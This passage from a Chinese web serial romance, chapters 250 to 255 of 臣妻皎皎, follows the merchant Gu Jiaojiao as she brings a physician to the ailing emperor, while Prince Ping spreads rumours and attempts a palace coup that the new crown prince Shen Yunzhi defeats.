这些年也不知有多少达官贵人带着贵重礼品上门,却全被洪甫先生拒绝了,当年的事终究是会在他的心里留下一根刺。 “洪伯伯,算了,我也只是心血来潮,时候不早了,我……” “你想帮太子?信任他?” 洪甫突然开口。 他没有问及皇上,不惧任何威压,甚至不去了解是什么样的病情,却只问了沈云祉。 顾皎皎怔了一下,随后尴尬的笑了笑。 “也没有,毕竟他是太子,问到我跟前了,我就,就是跑趟腿。” 她说这话的时候,眼珠都是不停的转着。 洪甫也是了解她的,撒谎的时候,心虚的时候都是这副神情。 “你是什么脾气老夫还不知道吗?如若不是这个人很重要,就算是他是当今圣上,你也不屑为了他跑这一趟。” 洪甫说的也是事实。 顾皎皎并不是凉薄之人,可就算真的见到人命关天的事,她也不曾来麻烦过洪甫先生。 她此次上门,又是涉及皇室之事,她开口时便已是为难,洪甫又如何看不出? 顾皎皎微低着头,不知该如何开口,她不想欺瞒洪甫先生,却也无法说清她对沈云祉的那份信任。 “好了,老夫走一趟就是了,去告诉那小子,有空便来接老夫吧,要轿子啊,马车是坐不了的。” 洪甫的神色缓和。 “洪伯伯,您真的愿意……” 那可是皇室,若有不慎只怕是…… “这有什么,你信那人,我便信,想来他也不是不讲理之人,既如此,那便无妨。” 洪甫看的透彻,只是抛开这件事不谈,他还是有些担忧的看向顾皎皎。 “你是个好孩子,为人炙诚,做生意如你父亲一样精明能干,但唯有感情上,容易犯傻,自要谨慎一些。” 洪甫像叮嘱着着自己的孩子一般,耐心真诚,自然,他也不是凭空这般说,若不是顾皎皎太过善良,又怎会被孙家欺负了两年。 “洪伯伯想多了,我和那人身份有别,也涉及不到什么感情。” 顾皎皎低声解释着。 洪甫想要再说什么,但张了张嘴,最后也只是叹了口气。 “罢了,老夫今日炖党参鸭,算你有口服,稍后在这用膳吧。” 顾皎皎没有拒绝,毕竟洪伯伯的手艺才是真正的天下一绝。 入夜时,顾皎皎命人去给沈云祉传了消息,但去的人回来禀报,沈云祉并不在驿站,而是将消息说给了双剑。 顾皎皎也算安心,双剑与双瑞都是对沈云祉忠心耿耿之人,不必担心,但她怎么也没想到,第二日便出了事。 皇宫。 平王一大早便在宫门口要求见皇上,甚至还吵闹着,说自己被太子殿下耍弄。 皇上可以不顾及他的胡闹,却也不得不维护太子的名声,毕竟太子初立,最后,皇上便让平王入宫。 昨夜皇上突然不适,所以沈云祉在夜间就进宫了,在皇上身侧侍疾。 平王闯进皇上寝室时,丝毫不顾及皇上在床榻之上的虚弱,他甚至没有行礼,便直奔内室。 “皇上,为何会突立太子?云南王与小云南王在宫中伴驾,可是他们的逼迫?” 平王的怨恨已久,如今能拉上个垫背的自然是好。 皇上倚靠在床榻边,汤药还是由沈云祉一勺一勺的喂着,面色苍白,唇间都没有什么血色,可这些,平王似是都看不到一般。 “平王,莫要胡闹。” 皇上说话的气息都粗重了几分。 听着这话,平王的怒火更胜,这也意味着,皇上早就有意将王位传到云南王府手里。 “皇上才是胡闹,他云南王府凭什么能接这帝王之位?沈云祉,一个乳臭未干的臭小子,从未接触过朝政,他又凭什么当太子?” 平王在皇上的寝宫里大吵大闹,丝毫不顾及自己的身份。 似乎早就能预料,无论是皇上,还是沈云祉都未理会于他,而他便更是变本加厉。 “皇上拿国家当儿戏,臣不允,不服,还请皇上收回成命。” 平王咬着牙,一副不达目的誓不罢休的模样。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百五十章 难以服众 平王在皇上的寝宫大吵大闹,从未提及自己的私心,反倒是一副一直为朝廷,为百姓着想的模样。 皇上念他到底是骨肉至亲,只觉得他不够冷静,让他回府中反省,过两日再来回话,可平王却越来越放肆。 “云南王一直镇守边境,即使是父王在位时也不曾考虑他为太子,皇上今日行事,莫不是不将先帝王放在眼中?” “放肆!” “皇上何故着急?莫说云南王,就是皇上你这副身子骨,也本不该坐上这九五之尊,若不是先帝怜惜于你,这天下,这朝堂,哪里有皇上您的份?” 平王越说越激动,根本就忘了自己的身份,确切的说,他也不是忘记了,而是根本就不在乎。 关于皇位,平王早就愤愤难平,即使是皇上给了最优厚的待遇,让他享一人之下,万人之上,他也依旧不满足。 “皇上常年缠绵于病榻,甚至连子嗣都不曾留下,莫说是天下百姓,皇上对得起列祖列宗吗,还有……” 啊。 平王的话还未说完,便被沈云祉一脚踢翻在地。 “来人,将他给我拖出去。” 沈云祉下令,但外面的人还未进来,床榻上的皇上便出现了异样。 皇上指着平王,大口大口的喘着粗气,微张着嘴,眼中的失望与恼怒不言而喻。 “你……你,给朕……” 噗。 皇上的话没有说完,一口鲜血喷在了地上,随后便朝后直直的倒在了床榻之上。 沈云祉与宫人上前,皇上已然昏迷。 “叫太医。” 沈云祉大喊出声之时,也怒瞪向平王。 平王眼底的怒火未散,脸上已然袭上了惊恐之色,他并未想到会是这样。 “将平王送回府,不许他再入宫。” 若不是情况紧急,沈云祉定会好好教训平王一番,但如今,还是要以皇上的龙体为先。 平王被架了出去,太医也匆忙赶来。 沈云祉是封锁了消息的,但他是被新立的太子,在皇宫与朝堂之上,都少了一些威严,所以皇上昏迷的消息还是传了出去。 宫中的太医轮番诊治,最终得到的结果,都是皇上气血攻心所致,但当问及何时能醒来,却无一太医敢做出保证。 云南王赶至皇上宫殿,帮沈云祉一起料理宫中事务,沈云祉便也能脱身,去想其他的法子。 “双瑞,你拿着我的令牌出宫一趟,去打探一下顾皎皎那里有什么消息,如若是可行,不必回我,要快。” 沈云祉做出这样的决定是不合宫规的,所以在叮嘱双瑞之时,也显得格外小心。 双瑞平时嘴是碎了些,但在办这样的大事上从不含糊,带着令牌出宫。 平王府。 平王回到府中还久久不能平静,想着今日里发生的事,他不禁有些后悔,若是皇上就此去了,那他便再也难有翻身之日。 李嬷嬷从外面走进来,将一碗参汤放到平王面前。 “这是王妃命人提前备好的,王爷饮些吧。” 李嬷嬷跟在他身边多年,自是看得出平王的神色,想必是宫中发生了什么了不得的事,但她没问,只是安静的站在一旁。 平王端起了那碗参汤,一口口的喝着,却是喝不出什么味道。 “正好,我有事与你说。” 良久,平王才缓缓抬起头,将宫中发生的事简单的向李嬷嬷说了一遍。 李嬷嬷虽然只是下人,但跟在他身边多年,忠心耿耿,平王是放心,另一方面,李嬷嬷了解宫中情形,许是能帮他出出主意。 “本王当时是情急,也是没有想到,皇上的身子骨竟然那弱,连几句话都听不了。” 平王不住的叹气,大有后悔之意。 李嬷嬷听着,却面色沉稳。 “王爷何出此言?王爷只是听闻皇上龙体欠安,进宫问候,其他的事王爷并不知晓。” 她说的像是真的一般。 平王怔了怔,一时没有反应过来。 “可是当时,沈云祉与皇上身边的公公宫女都在场,此等说辞,怕是难以服众吧?” “云南王与小云南王在宫中,明面是陪伴圣驾,实际是监视,并收买了皇上身边的人,皇上立小云南王为太子,可是小云南王仍不知足,便将皇上气病了。” 李嬷嬷双手放在身前,微低着头,每说一个字都似是想好了退路一般。 平王眼底闪过一丝惊喜,谈笑间,便解决了他的难题,但很快又想到了一层。 “本王出宫时,是由侍卫带出来的,那……” “小云南王能收买宫人,自然也能收买侍卫,挟天子以令诸候的事历朝历代还少吗?” 李嬷嬷为平王开辟出了一条新道路,而且这条路会让平王更上一层楼。 平王大笑着,对李嬷嬷是满口的称赞。 李嬷嬷笑着道谢,而后便又补充道。 “依奴婢之见,王爷此时最重要的是要先打探皇宫里的消息,若是真如他们所说,皇上昏迷不醒,那王爷也可将小云南王的恶行,召告天下。” “对对,没错,不只沈云祉,还有他那个父亲,这一次,我一定将他们踩死。” 平王咬着牙,腥红的眼眸如要杀人一般,又带着难以掩饰的兴奋。 为了此事,平王给了李嬷嬷丰厚的赏赐,但也叮嘱她,此事不得让王妃知道。 第一楼。 顾皎皎自也是听到了有关皇宫里的消息,只半日的时间,整个京城都传遍了,可见是有人故意为之。 顾皎皎犹豫许久,还是决定亲自前往驿站看一看,也许将洪甫先生送入宫中,能帮上什么忙。 只是,她并没有想到,会在途中遇到孙协兆与徐青青。 这二人成婚许久,一直恩爱非常,听闻徐青青是极为信赖孙协兆的,而孙协兆更是从不分对错的护着徐青青。 安阳候府里也是闹了一阵,但很快就平息下来了,想来也有银钱的缘故。 顾皎皎的马车被拦下,如从前一般,车下的人趾高气扬,好似是顾皎皎途经此处,是专门为他们而来一样。 “顾皎皎,别装了,你这般纠缠,岂非让我更看轻了你。” 孙协兆的声音传来,使顾皎皎差点就吐在马车之上。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百五十一章 这个疯子 顾皎皎终究还是从马车上下来了。 她看着这二人,打量了一番后,眼底全是冷意。 “想来孙三公子近来的日子过得不错,看上去竟圆润了不少,中气也是很足,只是这自以为是的毛病还是一点没改。” 顾皎皎一开口便让这个男人面上无光,但旁边的徐青青却上前一步,声音都显得极为了娇柔。 “刚刚协兆哥哥说是你的马车,我还不相信,毕竟既然已经分开了,再无谓的跟随又何意义呢?难不成顾姑娘不喜欢孙夫人的位置,还喜欢妾室的位置吗?” 果然是不是一家人,不进一家门,这脸皮厚能厚出一对来,也是不容易。 “徐青青,他说什么就是什么,像他这种一事无成的废物,也就只有你这种货色将他当成宝,滚开。” 顾皎皎没有了往日里的沉稳,自是想快些去办自己的事。 “顾皎皎,你一个商户之女,你竟敢这样对我们说话?我可是平王府的郡主,我……” “你这个郡主到现在都没有被正名,有什么可拿出来说的?平王允许你自称郡主了吗?” 提到平王,徐青青的脸色变了变,突然想到之前平王的叮嘱,让她一时找不到合适的语言。 “没想到啊,顾皎皎,离开了候府你便这般不成器,丝毫没有礼仪德性,粗鄙的本性暴露出来,真是烂泥扶不上墙。” “你有礼仪德行,所以就在当街拦别人的马车?你这些礼仪是哪位圣贤教的,还是你安阳候府的家教?读了这么多年的圣贤书,都读到狗肚子里去了?” 顾皎皎确实少有这样激烈的时候,句句带刺,步步不让,看着孙协兆脸憋的通红,她又继续说道。 “你们是王府,是候府,都无所谓,但你们要清楚,我如今替太子殿下做事,你们再找我麻烦的时候,给我想清楚。” 说完,顾皎皎转身上了马车,在帘子放下前,她才叮嘱驾车之人。 “如若他们不让开,便踏过去,出任何事,我负责。” 她是没有闲情逸致陪着他们斗嘴的,自然,她也确定,那二位都是惜命之人。 马蹄高高抬起,马在缰绳的作用下发出一阵嘶吼,随后那二人便慌忙的退后几步,慌乱间,孙协兆还踩到了徐青青的衣裙,害得她差点摔倒在地。 “这个疯子。” 徐青青气的直跺脚,对着已经走远的马车大吼着。 孙协兆扶着她,却久久没有开口。 顾皎皎发起疯来无人能敌,这是他见识过的,当初和离之时,这个商户之女以一己之力将整个候府搞得鸡犬不宁,现在也还历历在目。 但孙协兆忧心的却不是这个,而是沈云祉。 孙协兆原是沈云祉的手下,可后来又是背叛,又是挑衅,他以为成为平王的女婿,就算是得罪一个小云南王也没什么大不了的。 可是,就在他得意之时,沈云祉却被立为了太子。 太子啊,国之储君,未来的帝王,这个身份的转变,让孙协兆已经几日都没有睡好,现在又听到顾皎皎这般说,他更加担心。 “你怎么了?我只说了她一句,你便不高兴了?” 徐青青注意到了孙协兆的异样,顿时流露出不喜之色。 孙协兆也在此时回过神来,伸手揽上徐青青的肩膀,面上的笑都温柔了不少。 “怎会?她那反同之躯,骂几句又何妨,我只是突然想之前岳父大人来传话,让我们不要跟顾皎皎一般见识,便想的多了一些。” 孙协兆看向徐青青的目光里皆是真诚,他也是一个擅于伪装的,不然也不会招惹的徐青青对他死心塌地。 “也是了,父王有交代,不理会就是了,只是这女子真是好命啊,以太子为靠山,倒是让人更讨厌了。” 徐青青眼底流露出一抹阴狠,但转瞬即逝,没有让身侧的孙协兆发现。 “夫人莫急,我们日后有的是机会,要对付一个商户之女,那还不容易吗?” 他是这般说着,心里却并非这样想。 徐青青在孙协兆的花言巧语下,气消了大半,二人便又恩爱的逛于街道之上,似是不曾发生那样的不愉快,但孙协兆已经有了别样的心思。 驿站。 顾皎皎赶到的时候,依旧没有看到沈云祉,倒是双剑正巧在外面回来。 双剑看到顾皎皎也是极为意外,立即上前行礼。 “顾姑娘可是要寻太子殿下?” “是,他不曾回来吗?” 顾皎皎现下顾不上礼数,立即开口询问。 “太子殿下被急召回皇宫,并未出宫,但顾皎皎递过来的消息,属下已经办妥。” 双剑并没有说将消息告知了沈云祉,而是说办妥。 “这话何意?” 顾皎皎不明所以。 双剑向来是个谨慎之人,看了看周围,到底是在院子里,他觉得并不安全。 “顾姑娘若是方便的话,可否入内一叙?” 双剑伸手指了指身后的房间。 男女授受不亲,顾皎皎知道事关重大,也并不在意,转身向那房间走去。 双剑紧随其后。 “双瑞已经带洪甫先生入宫了。” 即使是在房间内,双剑也是压低了声音。 见顾皎皎还是有些疑惑,他才详细说了。 沈云祉命双瑞出宫打探消息,在得知洪甫先生愿意为皇上医治时,双瑞便直接去接人了,此时怕是已经到了宫门外了。 “宫里没有请外来医士诊脉的规矩,所以太子殿下格外小心,双瑞也是行事谨慎之人,姑娘莫要挂心。” 双剑一直都站在门口,与顾皎皎保持着一定的距离,所说之事也皆是关于沈云祉。 “这般说,传言竟是真的?皇上昏迷了?” 顾皎皎也知此话不该问,可这个时候,她还是想弄清楚一些。 “听双瑞说,是平王入宫说了许多大逆不道之言,皇上当场吐血,太医们也没有更好的办法。” 再多的消息,双剑也不知道,再详细的,顾皎皎也知不能再问。 不管怎么说,洪甫先生能入宫也算是一件好事。 顾皎皎得到了想要消息便准备离开,却被双剑叫住。 “顾姑娘,太子殿下有话传您。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百五十二章 他们不敢用 “风雨飘摇,人心动荡,但大局已定,望姑娘,珍重。” 这是沈云祉的原话。 顾皎皎站在原地,听着这些话的从双剑的口中传出,她慌乱的心得到一些安定。 她似是可以沈云祉稳如泰山,筹谋得当,她也知,他传这样的话,是在让她安心。 “有劳了。” 良久,顾皎皎微微点头,离开了驿站。 不知从何时起,沈云祉在忙碌正事这时,也会给她吃一颗定心丸,是在入宫时的那张字条,还是他出现护她周围,还是其他的? 回去的路上,顾皎皎的思绪开始混乱,那些她逃避却又事实存在的问题,会时不时涌入她脑海。 皇宫。 双瑞要将洪甫带入宫中自是不能明目张胆的,最后双瑞将洪甫先生藏入马车之中,又以太子殿下的手令为由,阻止守城侍卫仔细盘查。 马车在长街没有停下,而是一路直奔皇上的寝宫。 “委屈先生了。” 沈云祉身为太子,在看到洪甫先生的时候,还是弯腰抱拳行礼,满眼愧疚。 洪甫活了大半辈子,自然是什么样的风浪都见过,他摆了摆手,一身黑衣使他看上去更为严肃。 “去看看病人吧。” 洪甫知道自己要医治的是何人,但在他的眼里,这世间只有病人与健康的人,不分其他。 沈云祉立即将他带进了内室,在此之前,这皇宫里的人早就遣了出去,可让洪甫先生安心把脉。 沈云祉坐在不远处,看着床榻边的二人,感觉时间极为发漫长。 洪甫把脉,沈云祉不敢打扰,甚至还刻意放缓了呼吸。 也不知过多久,洪甫缓缓起身,沈云祉立即上前去扶。 “先生,皇上如何?” “不好。” 洪甫丝毫都没有掩饰,甚至都没有说的委婉一些。 沈云祉面色凝重,扶着洪甫走到了外间。 洪甫坐在桌前,开始拟定药方。 “你也不用提前苦着脸,现在还不到你哭的时候。” 洪甫突然开口,倒是将沈云祉吓了一跳。 外界都传言洪甫先生脾气古怪,说话向来不好听,今日沈云祉也算领教过了,毕竟那里面躺着的可是皇上,天下之王,九五之尊。 “先生的意思是,皇上可以醒过来?” 沈云祉难得有如此谦卑的时候,也是由衷的从心底里敬重这位老先生。 “我让你准备的东西呢?” 洪甫没有直接回答沈云祉的问道。 沈云祉也是难得的乖巧,立即转身在柜子里还拿出了一个匣子,放在了桌上。 这匣子的上层是一堆药方,是自皇上生病以来太医院所开的方子,下面则是一些药渣,都是近来皇上服药所保留下来存档的。 洪甫仔细看了一番,对那些药渣又看又闻。 “这宫里的太医还和从前一样,废物。” 洪甫先生脸上的不屑以及他的话语让沈云祉不免警惕。 “先生,莫不是这药有问题?” “没有问题,不治病也不伤人,无功亦无过。” 洪甫抬了抬眼帘,打量了沈云祉一番。 要说这顾丫头的眼光确实不错,沈云祉相貌堂堂,风度翩翩,气度与才学兼备,确实是难得的好苗子,只可惜,他是太子。 “这些都是大补之药,甚至里面还加了一些补气血之药材,只是皇上是因气急攻心导致的昏迷,如此大补只会郁结难消,使病情加重。” “什么?他们这是害皇上,身为太医难道他们不知道这些医治方法吗?” 沈云祉低吼出声,眼底蒙上一层冰冷。 洪甫却呵呵的笑了。 “他们知道,但他们不敢用。” 说着,他将一张方子递到沈云祉手中。 沈云祉看着这张药方,上面的字倒是都认识,但毕竟不通医术,也看不出个所以然。 “这其中有两味药,生性带毒,能不能用,敢不敢用,如何用,全凭太子殿下做主。” “先生的意思是,服下此药皇上便会醒吗?” “不出两日便醒。” “多谢先生……” “别急着谢,皇上的底子不好,自出生便带着弱症,拖了这许多年,已是不易,此次即使醒来,怕也是撑不了多久。” “先生,您看……” “我是医者,不是神仙,皇上如此,我已无力回天。” 洪甫打断了沈云祉的话,也认真的强调着皇上的身体,这也意味着,天下再无人能医治皇上。 沈云祉眉宇间闪过一抹失落,但很快调整好情绪。 “多谢先生,今日有劳先生,待我出宫之时,定当大礼酬谢,以报……” 沈云祉话未说完,洪甫先生便抬手打断了他的话。 “谢礼就不必了,我今日前来,是因为皎丫头,这丫头从小到大没求过我什么,这次是第一次,太子殿下若是有心,记得这份情意便是。” 洪甫意味深长的看了沈云祉一眼,便向门外走去。 沈云祉知他深义,现在却要忙最紧要的事。 沈云祉手中确有方子,但里面那两味带毒的药,是入不了宫的,更别说煮好,最后他去找了云南王。 听到沈云祉的计划,云南王大惊失色。 “胡闹,你知道你在做什么吗?万一不慎,便是谋害皇上的罪名,最后我们整个云南王府都要陪葬。” 云南王气的房间内来回踱步,他也从未知道,他的儿子竟然如此胆大妄为。 沈云祉就站在一边,目光坚定。 “父王,我既敢带医士为皇上诊病,那自是我可以信任之人,或许这法子有些冒险,却也不能眼睁睁的看着皇上一直昏迷下去吧?” 他分析着利害,见云南王依旧不口,又继续开口。 “皇上为保我太子之位,不惜与平王翻脸,不惜与百官对抗,如今他危在旦夕,父王真的什么都不做吗?” 这些话终究是让云南王动摇了。 “你想怎么做?” 良久,云南王才缓缓开口。 “父王身边都是可信之人,我欲调他们去皇上寝宫,熬药,煎药,直至皇上服下,都是我们的人。” 沈云祉不让宫中人知道他私自给皇上服药,便只有这一个办法,若是等皇上醒了,就算其他人知道了,他也不在乎。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百五十三章 不怕丢命的人 云南王最终还是同意了沈云祉的提议。 皇宫里的人心惶惶,沈云祉下令以皇上养病为先,任何人不得惹是生非,前朝之上几日来并未上朝,大臣们也是惴惴不安。 可就在此时,有关沈云祉居心叵测,意图动摇江山之言遍布京城,那些言论说的有鼻子有眼,似是有人亲眼所见一般。 “这云南王与小云南王同时进宫,原来是有利可图。” “皇上虽然缠绵病榻多年,可宫中有太医贴身照料,怎会在立下太子后,突然昏迷?” “听闻,也是小云南王,哦不,太子殿下的手笔,明面上,这位太子殿下贴身侍疾,实际上啊,不定对皇上做了什么呢。” “对对,我也听说了,皇上立下后,平王想入宫探望,却不想被拦在门外,皇上怎么会不见平王?也定是太子殿下的意思。” …… 顾皎皎站在第一楼的二楼,倚靠着一根柱子,楼下的人看不到她,她却可以听到楼下的议论。 仅仅半日,类似这样的话,她已经听了无数遍,说这些人有的是生意人,有的是货郎,有的是平头百姓等等。 总的来说,就是沈云祉为得到皇位不择手段,甚至不惜害皇上的性命,挟天子以令诸侯。 顾皎皎低垂着眼眸,清澈的眸子里不禁袭上一抹担忧。 她在担心沈云祉。 当这个想法涌进脑海时,她被自己也吓了一跳,而后唇边挂上一抹苦笑。 她自己只是一介商女,依靠着各路客人赏饭吃,无论她现在有多少家底,她终究是摆脱不了这个身份。 而沈云祉呢?天子骄子,出身世家,自幼丰衣足食,无论走到哪里都会被人高看一眼,如今他又有了太子的身份。 这种种对比,她又有什么资格去担心他? “姑娘,怎么一个人在这儿出神啊?” 莺儿从身后走过来,侧头看了看顾皎皎,一脸狐疑。 “没什么,阁楼太闷了,我在这里透透气,对了,洪伯伯回去了吗?” 顾皎皎转移话题,没有让莺儿发现她的心事。 “是,太子殿下很贴心,让人送洪老先生回去,却用的不是身边的人,王吉来报,没有人发现洪老先生进过宫。” 莺儿说这些的时候,还刻意压低了声音。 “那便好。” 顾皎皎浅浅的笑了笑,向楼上走去,楼下的议论声也从未停止。 莺儿跟在她身后,自也是听到了那些。 “这些传言对太子殿下很是不利,也不知宫中情形如何。” 这丫头向来心直口快,心里这般想着便说了,而她想的,向来是顾皎皎在意的。 顾皎皎在前面走着,直到进入了独属她的那个房间,才缓缓开口。 “只半日的功夫,这些传言便铺天盖地,想来是有人成心了。” “什么?是有人故意散布谣言?可那是太子啊,他们不要命了吗?” “嗬,自然是不怕丢命的人。” 顾皎皎心里已经有了答案,猜测出了幕后之人,只是她到底不是能出面的人。 “莺儿,让王吉去查查,看看是不是能查出什么。” 她又紧接着补了一句。 莺儿应下,但在准备离开时,又停下了脚步,转身看向顾皎皎。 “姑娘,您近来事事为太子殿下操心,可是殿下跟你说了什么?” 这丫头是个机灵的,投过来的目光都闪烁着惊喜的光芒。 “不是为他,只是朝堂局势不明,我们总要选择对我们有利的一方,好了,快去吧,这些话不要在外乱说。” 顾皎皎依旧保持着淡然的模样,就好似她说的是真的一般。 皇上久久未醒,流言越来越盛,而平王也愈发忙了起来。 平王身份与众不同,曾经又被议储,如今朝内朝外一片慌乱,一些大臣也开始暗中朝平王走动。 说是暗中,但慢慢的平王府便门庭若市。 书房里,平王与一众大臣正聚在一起。 “王爷是好心性,可是这朝堂可不能交到一个毛头小子手上啊。” “若只是没有经验也就罢了,怕只怕这云南王父子图谋不轨,那岂非会酿成大祸。” “王爷觉得皇上对您宽容,您自是不想天下大乱,可也正因为如此,王爷才不能坐不理啊。” “对付狼子野心之人,就不应该心慈手软。” 众人都是朝堂之上的官员,有的就是平王的门客,也有一些少有走动,但却不想让沈云祉上位,这些人聚在一起,自然是口诛笔伐。 平王心里已然乐开了花儿,但表面上依旧是为难之色。 “本王知各位心思,只是如今事情尚不明确,外界所说的毕竟都只是传言,没有任何证据,本王……” “王爷,若真的等证据,只怕是皇上凶多吉少啊。” 一位大臣看似是发出了耿直之言,周围的大人们也中着附和。 王平面露难色,微低着头思索良久,才缓缓抬起头。 “好吧,既然如此,为了皇上,为了百姓,本王破例一次。” 这也意味着,他身边的这些人会跟随于他,他所行何事,也有一大批追随者。 谈笑间,平王便完成了自己的大计,接下来,他就是等着将沈云祉父子踢出京城。 平王与这些大臣在谋划些什么,外人并不知晓。 顾皎皎得到这些消息的时候,也并未放在心上,直到杜玉荣来了第一楼。 顾皎皎像往常一样,将这位杜大人引进了一间雅间,更吩咐人备上杜玉荣平日爱吃的餐食。 杜玉荣倒是有些意外,笑的温和,眸子里闪烁着暖暖的光芒。 “我以为还会像上次一样,见不到顾姑娘呢。” 之前他也来过多次,每每都未见顾皎皎身影,他自是知道她是有意躲着的,便也是过了许久才来。 “杜大人于我有恩,又是第一楼的贵客,怎会见不到?前段时日,确实是忙了一些。” 顾皎皎撒谎的时候,外人是看不出来的。 她为杜玉荣斟了一杯茶,是上好的雨前龙井,茶香四溢,似是怕被拆穿,她又立即转开了话题。 “京中都传朝中或有变动,杜大人为国之栋梁,今日怎么有空过来了?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百五十四章 告诉他,提防叛乱 杜玉荣年纪轻轻,前途一片光明,刚刚入仕便在首辅大人手下做事,这份才干不是人人都有的。 只是杜家是书香门第,清流人家,向来不参与任何党争,这段时日朝上朝下混乱不已,杜玉荣便也只在家里修身养性。 “昨日去向首辅大人汇报公务,我也问及了有关太子殿下之事,但首辅大人说,皇室形势万变,叮嘱我只做分内之事就好,想来,也不会有大事发生。” 杜玉荣说这些的时候,顾皎皎正在为他递茶,他并没有注意到,顾皎皎的手顿了顿。 “首辅大人两朝元老,见识与思虑必是常人不能及的。” 顾皎皎扯动了下嘴角,低声应着,可是,她在想着,首辅大人说的为何不是稳定朝堂,而是形势万变? “是啊,近来京中传言不断,太子殿下一直在宫中陪着皇上,只凭他这份真诚,想来流言自会不攻自破的。” 杜玉荣是君子,熟读圣贤书,自认为人性本善,即使是涉及到皇位之事,他也觉得有规矩,一切都不是问题。 但顾皎皎不一样,她见惯了世态炎凉,也亲眼看到过沈云祉拿命搏杀,她能想到最坏的结果。 “杜大人安坐,我让他们炖了鸽子汤,去看看火候。” 顾皎皎装出突然想起来的样子,其实桌上已经摆了许多精美的餐食,她还是将最好的拿出来。 杜玉荣自不会阻拦。 顾皎皎出了雅间,抬手将候在门侧的莺儿拉到了一旁,力道微重,莺儿都不禁皱起了眉头。 “姑娘,怎……” “莺儿,你现在马上去驿站,去找双剑,告诉他,提防叛乱。” 只这四个字,却将莺儿吓的脸都白了。 “姑娘,你,你会不会猜错了,这可不是小事,平王就算再大的胆子,他也不敢……” “快去,也告诉双剑,要以最快的速度将消息传给太子。” 顾皎皎没有解释,只是一遍遍的叮嘱着莺儿。 莺儿深知此事的重要性,连连点头,而后头也不回的走了。 顾皎皎深吸一口气,调整了一下自己的情绪,才再次进入了那间雅间。 “前些时日病了,幸好杜大人托人送来汤药和补品,一直也没机会跟大人道谢。” 她言语间透着真诚,笑的自然,不像前些时日那般疏离,倒是让杜玉荣心情好了许多。 “每次见面,顾姑娘要么言谢,要么谈恩,倒显得我是有意为之了。” 杜玉荣半开着玩笑,温和如玉。 顾皎皎被他逗笑,少了一些拘谨,也能像从前一样,谈天说地,聊诗文,聊画作等等。 杜玉荣是在两个时辰后离开的第一楼,也是他刚刚离开后,莺儿就从一旁窜了出来。 “姑娘,话已传到。” 莺儿低声告知。 顾皎皎点了点头,站在第一楼门外,长长的吁了一口气,她抬头看向天空,天气阴沉沉的,真真是给人一种尽人事听天命的感觉。 夜幕降临。 天色极暗,连星星都没有一颗,这样的夜最适合行动。 平王身披铠甲,站在宫城门外,他的身后,有数千将士。 宫城防护极严,任何人闯宫都是死罪,可是平王已然收买了守城的将领,而他也不是闯宫,而是打着清君侧的旗号。 看着宫城门缓缓打开,平王的脸上露出得意之色,过了今夜,他便可随意掌控这座宫城。 “王爷,时辰到了,武将都随大人前往,文官也派出了自己的亲信,可以行动。” 平王身边的侍卫小声来报。 行动前,平王纠结这些人跟自己一同,不是为了团结一心,而是将他们的把柄握在手中。 “进宫。” 平王昂着头,挑起了眉毛,自信狂傲。 大部队缓缓前进,由于宫城外没有人阻拦,平王带着的这群人竟然顺利的走进了长街。 夜里漆黑,长街两侧的宫墙上点着一些火把,倒是将路照的极亮,只是他们越向前走,平王越觉得不对。 城门口也就罢了,毕竟他是收买了将领,可是走了这么久,别说巡逻的侍卫,就是连各宫的下人都没有看到。 平王到底也是打过仗的,立即停下脚步,抬起了手,身后的人也都随着停下。 只是,为时已晚。 城墙之上,无数的火把亮起,前方一队人马出现。 为首的人一袭月白色衣衫,所乘红色宝马,与这夜色融为一片,前方的人越来越近,才能看到沈云祉眸子里的得意。 “平王叔深夜入宫,莫不是来找我下棋的?只是,这人好像有点多。” 沈云祉的语气里满是讥讽,抬眼间,长街之上便是满满的侍卫。 这些人是哪里冒出来的,平王并不知晓,但他知道,他上当了。 “那守城的将领,是你的人?” 平王未下马,目露凶光。 在此之前,平王的一切行动皆很顺利,说服城门的将领甚至只是花了一些银钱,他还以为是他威严所致,却不想…… “平王叔抬爱,弄出这么大的阵仗,身为东宫太子,侄儿自是要如平王叔的心愿。” 沈云祉向前倾了倾身子,顺势看向平王的身后。 “诸位大臣不知是对本太子不满,还是对皇上不满,要知道,闯宫可是诛九族的死罪,诸位倒是忠心耿耿啊。” 沈云祉的声音在这夜里格外洪亮,也透着阴冷。 曾经的小云南王上阵杀敌无数,战场之上敌军无不退避三舍,这位不要命的主,如今可是随意调动京城禁军的。 没错,他早就拿到了京城的节制权,不只皇宫禁军,就连宫外城中所有的布防都归他管。 此时,已有人下马,直接跪到了地上,口口声声的求饶,说自己是被蒙骗所至,至于是何人骗了他们,却无一人敢说。 看着这一幕,平王更是怒不可遏。 “沈云祉,皇上昏迷,你虽为太子却也无权调动兵马,你如此行事,怕不是……” 平王的话音未落,沈云祉已经举起手中之物。 是虎符,可以调动所有兵士与禁军的虎符。 此虎符只有历代君王保管,如今已在沈云祉手中,便也意味着不可更改。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百五十五章 杀鸡儆猴 法不责众。 所牵连人数众多,沈云祉不可能一一治罪,他只挑了其中两位大臣作出了处置,一位赏军棍四十,撤职,另一位则直接关于大牢。 “太子殿下恕罪,臣等听信了平王之言,只以为太子殿下对皇上不利,太子殿下饶命啊。” “太子殿下,臣知错,臣糊涂啊,太子殿下……” 二人的哭喊求饶声渐远,而平王坐于马上,却丝毫没有认错的意思,甚至还嘴硬的道,他所做一切皆是为了皇上。 “本王心系皇上,几日来未能进宫,自会怀疑,太子若是想治罪,本王接着就是。” 他没有直呼沈云祉的名字,而是用了‘太子’二字。 沈云祉淡然一笑。 “怎会?平王叔惦念皇上乃人之常情,岂有治罪一说?既如此,夜已深,本太子令人送平王叔的手下出宫,平王叔随我来?” “正有此意。” 平王算是得到了一个台阶,自然是要下的,要知道在沈云祉拿出虎符那一刻,就已经可以给他安上造反的罪名了。 如若宫中只有沈云祉与云南王,平王也可放手一搏,可事实是整个宫城都控制在沈云祉手内,平王没有鱼死网破的资本。 沈云祉并未赶尽杀绝。 皇上向来重情,就算平王造反也该由皇上来定夺,而不是他。 一场看似剑拔弩张的宫变,就如此悄无声息的结束了。 平王随沈云祉来到皇上寝宫。 